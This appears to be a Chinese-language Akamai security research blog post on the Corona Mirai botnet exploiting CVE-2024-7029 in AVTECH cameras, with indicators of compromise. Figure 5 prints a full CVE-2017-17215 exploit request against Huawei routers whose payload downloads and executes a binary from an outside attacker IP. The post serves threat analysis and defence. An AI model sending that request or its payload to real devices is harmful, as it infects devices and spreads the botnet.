警惕无法修复的漏洞：Corona Mirai 僵尸网络通过零日漏洞传播
编辑和评论补充：Tricia Howard
文稿编辑：Maria Vlasak
执行摘要
Akamai 安全情报响应团队 (SIRT) 监测到一种僵尸网络活动，该活动会滥用以往曾被利用的几个漏洞和 SIRT 发现的一个零日漏洞。
CVE-2024-7029 是 Aline Eliovich 在 AVTECH 闭路电视 (CCTV) 摄像头的亮度函数中发现的一个命令注入漏洞，攻击者可利用该漏洞实现远程代码执行 (RCE)。
注入命令后，僵尸网络会传播一种 Mirai 变体，其字符串名称与早在 2020 年就已出现的新型冠状病毒相关。
我们在本博文结尾部分列出了一些 入侵迹象 (IOC)，可用于协助抵御此威胁。
前言
为确保我们自己和客户网络生活的安全，Akamai SIRT 监控并参与许多内部和外部情报反馈工作。在此过程中，我们通过自己的全球蜜罐网络发现了几种主动威胁，其中包括本文中要讨论的漏洞： CVE-2024-7029，由 Aline Eliovich发现。
这是在 AVTECH IP 摄像头设备的亮度函数中发现的 RCE 零日漏洞，攻击者可以利用该漏洞 注入命令，在目标系统上传播一种 Mirai 变体。这可以通过提升的权限（运行进程所有者）远程执行。2024 年 8 月，CISA 针对该漏洞发布了 工业控制系统 (ICS) 公告， 指出其攻击复杂性低、可以远程利用并且已被公开利用。
除 CVE-2024-7029 之外，该僵尸网络活动还利用了多个漏洞，包括几个 AVTECH 漏洞、一个 Hadoop YARN RCE 漏洞、 CVE-2014-8361和 CVE-2017-17215。这种攻击活动呈现出令人担忧的趋势，即攻击者利用较早的、优先级可能较低的未修补漏洞来实现恶意目的。
保持关注，及时修复
什么是 CVE-2024-7029？
简单来讲，CVE-2024-7029 是 AVTECH IP 摄像头设备中的一个漏洞，攻击者可以利用“action=”参数中的“brightness”变量来实现命令注入。我们监测的攻击者利用该漏洞传播一种 Mirai 变体，其字符串名称与新型冠状病毒相关。
该攻击活动进行了多长时间？
受影响的对象
AVTECH IP 摄像头设备中的此漏洞可影响 AVM1203 固件版本 FullImg-1023-1007-1011-1009 及更低版本。尽管涉及的型号已停产多年，但 CISA 在其公告中指出，这些设备仍在全球各地的交通运输部门和其他关键基础设施实体中广泛使用。
运作方式
我们最初在检查蜜罐日志时发现了该漏洞。为了便于说明，图 1 中显示了已解码的 URL。
图 1：已解码的有效攻击载荷主体
该漏洞存在于文件 /cgi-bin/supervisor/Factory.cgi 的亮度函数中（图 2）。
图 2：漏洞 PoC
攻击过程
在我们监测到的漏洞利用示例中，攻击过程的本质就是： 利用该漏洞，攻击者可以在目标系统上执行远程代码。
图 3 是攻击者利用该漏洞下载并运行 JavaScript 文件来获取和加载主要恶意软件负载的示例。 与许多其他僵尸网络类似，该僵尸网络也会向攻击目标传播 Mirai 恶意软件的变体。
图 3：来自 JavaScript 下载器的字符串
在本示例中，该僵尸网络很可能使用了 Corona Mirai 变体，该变体早在 2020 年就有 其他供应商 提及，其名称与新型冠状病毒相关。
运行后，该恶意软件会通过端口 23、2323 和 37215 使用 Telnet 连接到大量主机。它还会将字符串“Corona”输出到受感染主机的控制台（图 4）。
图 4：恶意软件执行时控制台的显示输出
对恶意软件样本中的字符串进行静态分析表明，该恶意软件以路径 /ctrlt/DeviceUpgrade_1 为目标，试图利用受 CVE-2017-17215 影响的华为设备。这些样本有两个硬编码命令和控制 IP 地址，其中一个是 CVE-2017-17215 漏洞利用代码的一部分（图 5）。
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430
Connection: keep-alive
Accept: */*
Authorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"
<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 45.14.244[.]89 -l /tmp/mips -r /mips; /bin/busybox chmod 777 * /tmp/mips; /tmp/mips huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
图 5：CVE-2017-17215 /ctrlt/DeviceUpgrade_1 漏洞利用代码
该僵尸网络还利用了其他几个漏洞，包括 Hadoop YARN RCE、CVE-2014-8361 和 CVE-2017-17215。我们已监测到这些漏洞在现实环境中遭到多次利用，而且攻击者不断得逞。
结论
未正式分配 CVE 编号的漏洞也可能对企业造成威胁，甚至是重大威胁。运营这些僵尸网络的恶意攻击者一直在使用新的或未被察觉的漏洞来传播 恶意软件。CVE-2024-7029 是使用后一种漏洞的另一个例子。据 SIRT 观察，这种手段正在成为日益普遍的攻击趋势。
有许多已被公开利用或已有 PoC 的漏洞并未正式分配 CVE 编号，而且在某些情况下，受影响的设备仍然未安装补丁。管理补丁优先级是一项艰巨任务，尤其是在没有可用补丁的情况下。如果暂时无法对威胁采取修复措施，建议停用受影响的硬件和软件，以降低安全风险和被监管机构罚款的风险。
关注新动态
IOC
IPv4 地址
93.123.39[.]72
93.123.39[.]87
93.123.39[.]111
147.78.103[.]177
185.216.70[.]37
94.156.8[.]185
93.123.39[.]173
74.50.81[.]158
94.156.71[.]74
93.123.85[.]213
185.216.70[.]142
45.66.231[.]148
185.216.70[.]79
SHA256 哈希值
15a1d52c529d314bb2b5fa8b8bd6c6a496609a283dd0e78e595c929e720d1b5b ("r")
c0ae1eb249705f61d45ca747c91c02a411557a28792f4064c1d647abb580bc10 ("x86")
b0f7ef937d77061515907c54967a44da3701e0d2af143164bbf44bb4fc6f26af ("sh")
e82192fbe00bc7205abe786155bbfc0548f5c6ee9819a581e965526674f3cc57 ("mips")
9e9e481bb448438572c2695469c85f773ddcd952025e45bee33bbfce2531c656 ("r")
f4bf61fc335db4f3e7d7d89b534bc1e6ead66a51938e119ea340fe95039935e3 ("mips")
22553be649f76a060ebbdfd410e295b66803e9c49d23369a726be2c5a25733ab ("sh")
135264de24d499877e95673b9cca737e488042813f41fef7817728a704323fe2 ("r")
6ad5984bc9af7af6962a080bbb1a35bb56e8671c4b9c1d44e88da5a3f6b9aa82 ("r")
947f517d3b833cc046b2ea0540aad199b7777fb03057122fb0b618828abdc212 ("r")
8ac82a770cffbbc8fba73554d7caa117ef6d37ffee468665b95bc406449f91b5 ("r")
5e264cb009c4d84b6180e47b9ceda3af8897b17b88fccc9c2914706d66abd1d1 ("r")
372eefdc4bf9f4a4382db2762fcf9a9db559c9d4fff2ee5f5cf5362418caaa92 ("r")
3995a7e7eb8eeafb0b6da2c3813e61d11993a820d478c87809136de79d8f8280 ("sh")
40d8f662c187b53fd6fdeb70db9eb262b707e557d3fa4e5e4eacaeaa03ac45f2 ("r")
4826b0194fbd924aa57b9c4ab1e017f0f45f547189374b0ea761d415fa4285ff ("x86")
25945c4fe38ed2008f027bd1484b89867b23528c738812d317ddf57f48666b91 ("r")
cfcae524309a220a48327c50bf32bf5ed3aed5698855b5da9f1ae932fb2df90c ("x86")
774947944ea370592a30478bb3f26081799f7d7df975a6735e620d3442e7803b ("x86")
06b1f09a62204472581e6aec381f96014bb6cc3fc1a9cef38bbcfe88bd82e499 ("r")
4f50d318688c80f08eb7fad6f8788cae459c3420b3b9eb566f936edd7a780ae1 ("sh")
c15bbfb85bfd8305fad8cc0e0d06cbe825e1e6fc6d8dbe5a8d1ac4243bd77d0c ("x86")
0a566c39ecbc4107f954cb3e5e240ccaf0018dfac9b5062b4db7971fb3d9f413 ("x86")
2d7351aa765bb2feed9536cc392b2013361c193e99841c5b56591d988bd4b582 ("x86")
5d58f0fa54784e9c90825cba9e2052f691cdcfe85b0796a6379982832563090d ("x86")